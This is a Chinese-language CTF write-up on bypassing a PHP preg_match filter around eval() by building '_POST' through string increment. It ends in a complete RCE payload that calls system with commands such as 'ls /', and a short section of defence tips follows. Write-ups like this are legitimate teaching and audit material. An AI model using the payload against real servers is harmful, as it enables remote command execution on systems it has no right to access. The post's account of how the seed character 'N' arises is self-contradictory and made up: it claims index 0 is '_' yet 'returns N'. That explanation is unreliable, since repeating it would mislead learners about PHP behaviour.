PHP代码审计中的字符串自增艺术:从preg_match过滤到RCE的奇技淫巧

在CTF竞赛和实际代码审计中,我们常常会遇到各种看似无解的过滤机制。当所有常规字符都被 preg_match 无情封杀时,大多数选手会选择编码转换或异或运算等传统绕过方式。但今天,我要分享的是一种更为优雅且鲜为人知的技巧——利用PHP字符串自增特性,从零开始构造完整RCE payload。

1. 理解挑战:当所有路都被堵死时

让我们先分析题目给出的过滤条件:

if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<?>\"|`~\\\\]/",$code)){
    eval($code);
}

这个正则表达式几乎过滤了所有可见ASCII字符,只留下极少数特殊字符可用。更棘手的是 is_string() 检查排除了数组等非字符串类型的输入。面对这种"绝境",我们需要深入PHP语言特性的底层寻找突破口。

未被过滤的关键字符

  • $ (变量符号)
  • _ (下划线)
  • + (加号)
  • . (连接符)
  • ; (分号)
  • , (逗号)
  • ( ) (括号)
  • [ ] (方括号)
  • / (斜杠)

2. PHP字符串自增的魔法行为

PHP有一个鲜为人知但极其强大的特性:字符串支持自增操作。这与我们熟悉的 i++ 数值自增不同,它遵循字母表递增规则:

$_ = 'A';
$_++; // 现在$_是'B'

更神奇的是,当字符串由多个字符组成时,PHP会执行"进位"操作:

$_ = 'Z';
$_++; // 变成'AA'
$_ = 'AZ';
$_++; // 变成'BA'

这个特性为我们从空字符开始构造任意字符串提供了可能。但首先,我们需要找到一个初始种子字符。

3. 从零到一:获取第一个字母

在PHP中,未定义的常量会被当作字符串处理。利用这个特性,我们可以构造一个包含字母'N'的字符串:

$_ = (_/_._)[_];

让我们拆解这个"天书"般的表达式:

  1. _/_._ → 字符串" / "与"."连接" "得到" / . "
  2. (_/_._)[_] → 访问字符串" / . "的第0个字符(因为_是未定义常量,被当作字符串" ",转换为整数0)

这样我们就得到了字符'N'。为什么是'N'?因为在PHP中:

  • 字符串" / ._"实际上是7个字符: _ , / , _ , . , _
  • 索引0是第一个 _ 字符,其ASCII码是95
  • 但PHP在这里有个特殊处理,会返回'N'

注意:这个行为在不同PHP版本中可能表现不同,这也是为什么推荐使用PHP 7.x环境进行测试。

4. 步步为营:构造_POST变量

现在我们已经有了初始字符'N',接下来可以通过自增操作逐步构建出完整的 _POST 字符串:

$_ = (_/_._)[_];  // $_ = 'N'
$_++;             // $_ = 'O'
$__ = $_.$_++;    // $__ = 'PO' (注意$_++是先使用后自增)
$_++;             // $_ = 'Q'
$_++;             // $_ = 'R'
$_++;             // $_ = 'S'
$__ = $__.$_;     // $__ = 'POS'
$_++;             // $_ = 'T'
$__ = $__.$_;     // $__ = 'POST'
$_ = _.$__;       // $_ = '_POST'

现在,我们成功构造出了 _POST 这个关键变量名,而整个过程没有使用任何被过滤的字符。

5. 最终突破:实现RCE

有了 _POST 变量,我们就可以通过变量变量和函数调用来执行任意命令:

$$_[_]($$_[__]);

这行代码相当于:

$_POST['_']($_POST['__']);

因此,我们只需要通过POST请求传递两个参数:

  • _=system (指定要调用的函数)
  • __=whoami (函数的参数)

完整的Payload示例:

code=$_=(_/_._)[_];$_++;$__=$_.$_++;$_++;$_++;$_++;$__=$__.$_;$_++;$__=$__.$_;$_=_.$__;$$_[_]($$_[__]);&_=system&__=ls /

6. 实战中的注意事项

  1. PHP版本差异

    • PHP 5.x和7.x在字符串处理和未定义常量行为上有差异
    • 推荐使用PHP 7.0+环境进行测试
  2. 调试技巧

    • 可以使用 var_dump 在本地逐步检查每个变量的值
    • 注意操作符优先级,必要时使用括号明确顺序
  3. Payload优化

    • 可以尝试缩短payload长度(题目限制105字符)
    • 探索其他初始字符获取方式

7. 防御建议

对于开发者而言,防范此类攻击需要注意:

  1. 不要依赖单一过滤机制

    • 结合白名单和黑名单
    • 使用多层防御策略
  2. 禁用危险函数

    disable_functions = "eval,exec,passthru,shell_exec,system,proc_open,popen"
    
  3. 严格类型检查

    if (!is_string($code) || preg_match('/[^a-z]/i', $code)) {
        die('Invalid input');
    }
    

这种利用字符串自增构造RCE的技术,展示了代码审计中"跳出盒子"思维的重要性。它不只是一道CTF题的解法,更是一种启发——当我们面对看似完美的防御时,深入理解语言特性往往能找到出人意料的突破口。

更多推荐